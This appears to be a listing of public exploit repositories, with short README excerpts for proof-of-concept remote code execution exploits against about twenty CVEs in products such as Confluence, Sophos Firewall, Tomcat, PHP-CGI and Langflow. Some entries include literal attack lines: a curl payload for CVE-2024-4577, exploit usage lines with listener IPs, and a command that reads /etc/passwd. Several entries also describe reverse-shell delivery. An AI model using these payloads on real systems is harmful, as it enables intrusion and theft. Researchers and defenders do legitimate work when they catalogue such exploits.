React2Shell-POC

This Proof of Concept PoC for React2Shell CVE-2025-55182 vulnerability has been developed strictly for educational and research purposes only. It is intended to demonstrate the existence and potential impact of a specific security vulnerability in a controlled, authorized, and non-production...

CVE-2020-14008

CVE-2020-14008 - ManageEngine Applications Manager RCE Authenticated Remote Code Execution via Arbitrary File Upload in Zoho ManageEngine Applications Manager versions Examples Basic python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337 Exploit Flow 1. Login -...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass and rce all in one script; The vulnerability affects Sophos Firewall v18.5 MR3 18.5.3 and older Mitigation: update to latest version asap https://support.sophos.com/support/s/article/KB-000043853?language=enUS to avoid...

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 - Arbitrary File Upload Vulnerability CVE-2025-7441 - Technical summary Affected component: StoryChief WordPress plugin Vulnerability type: Unauthenticated arbitrary file upload Vulnerable endpoint: /wp-json/storychief/webhook Root cause: The plugin accepts a JSON...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 CVE-2022-30190 Follina POC Host exploit.html on localhost, port 80. Open the docx to pop calc. To change the remote address the doc points to, open in 7Z and edit word\rels\document.xml.rels to point to a new location. YOU MUST keep the exclamation mark. It will...

firefox-rce-nssmil

Firefox RCE CVE-2016-9079 – Educational JavaScript Port Educational implementation of the public exploit for CVE-2016-9079, adapted from the original Exploit-DB/Metasploit module for standalone use. Disclaimer This repository is provided strictly for educational and research purposes. It contains...

poc-cve-2024-23897

poc-cve-2024-23897 this code is my attempt to write a proof of concept under cve 2024 23897. allows you to perform RCE on the attacked machine through the vulnerable args4j module how to use: go run poc.go http://127.0.0.1:8888/ /etc/passwd...

cve-2021-26084-confluence

This is a quick and dirty poc, tuned for a specifc confluence instance as none of the existing off the shelf pocs worked. Obviously it's almost entirely based on the work of https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md and https://github.com/alt3kx/CVE-2021-26084PoC You'll nee...

Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution-Exploit

This repository does not have a README...

CVE-2024-4577

Just for researching Poc For Default XAMPP curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

Prestashop-CVE-2024-34716

Exploit Script for CSRF and Reverse Shell Attack This script automates a CSRF Cross-Site Request Forgery exploit to upload a PHP reverse shell on a target's web server and execute it. The reverse shell is delivered as a ZIP file via a crafted CSRF payload, which is triggered when a privileged use...

Follina_MSDT_CVE-2022-30190

Microsoft explains that “a remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker ca...

CVE-2025-55752

🚨🚨 CVE-2025-55752 — Apache Tomcat: Directory-protection bypass via Rewrite Valve → PUT-based RCE🚨🚨 Summary CVE-2025-55752 is a security regression in Apache Tomcat introduced while fixing bug 60013. When the Rewrite Valve is used, Tomcat applies path normalization before URL decoding. This...

CVE-2022-21445

CVE-2022-21445 Exploit - PoC This toolkit generates exploit payloads for CVE-2022-21445, a critical Java deserialization vulnerability affecting Oracle WebLogic Server 12.2.1.x running Oracle ADF Faces. The flaw exists in the RemoteApplicationResourceLoader component and allows an attacker to sen...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server Unauth RCE rewrite Python exploit for the unauthenticated Lua-injection RCE in Wing FTP Server ≤ 7.4.3. Designed for shell delivery — one command from check to a working netcat callback. Written some time ago for wingData lab on HTB and open-sourced now. Use only...

SirepRAT

SirepRAT - RCE as SYSTEM on Windows IoT Core SirepRAT Features full RAT capabilities without the need of writing a real RAT malware on target. Context The method is exploiting the Sirep Test Service that’s built in and running on the official images offered at Microsoft’s site. This service is th...

weblogic2021

This project is intended for security research and authorized use only. Users are responsible and obligated to comply with local laws and regulations. weblogic2021 CVE-2021-1994, CVE-2021-2047, CVE-2021-2064, CVE-2021-2108, CVE-2021-2075, CVE-2019-17195, CVE-2020-14756, CVE-2021-2109 7 critical...

cve-2019-16278

cve-2019-16278 Nhttpd Nostromo 1.9.6 RCE due to Directory Traversal git clone https://github.com/Kr0ff/cve-2019-16278...

CVE-2021-26084

CVE-2021-26084 Atlassian Confluence Pre-Auth RCE...

CVE-2026-33017-Langflow-RCE

CVE-2026-33017 - Langflow RCE Vulnerability xpl0ited by infrar3d This proof‑of‑concept exploit targets a critical Remote Code Execution RCE vulnerability in Langflow versions prior to 1.9.0. The vulnerability allows unauthenticated attackers to execute arbitrary system commands by injecting...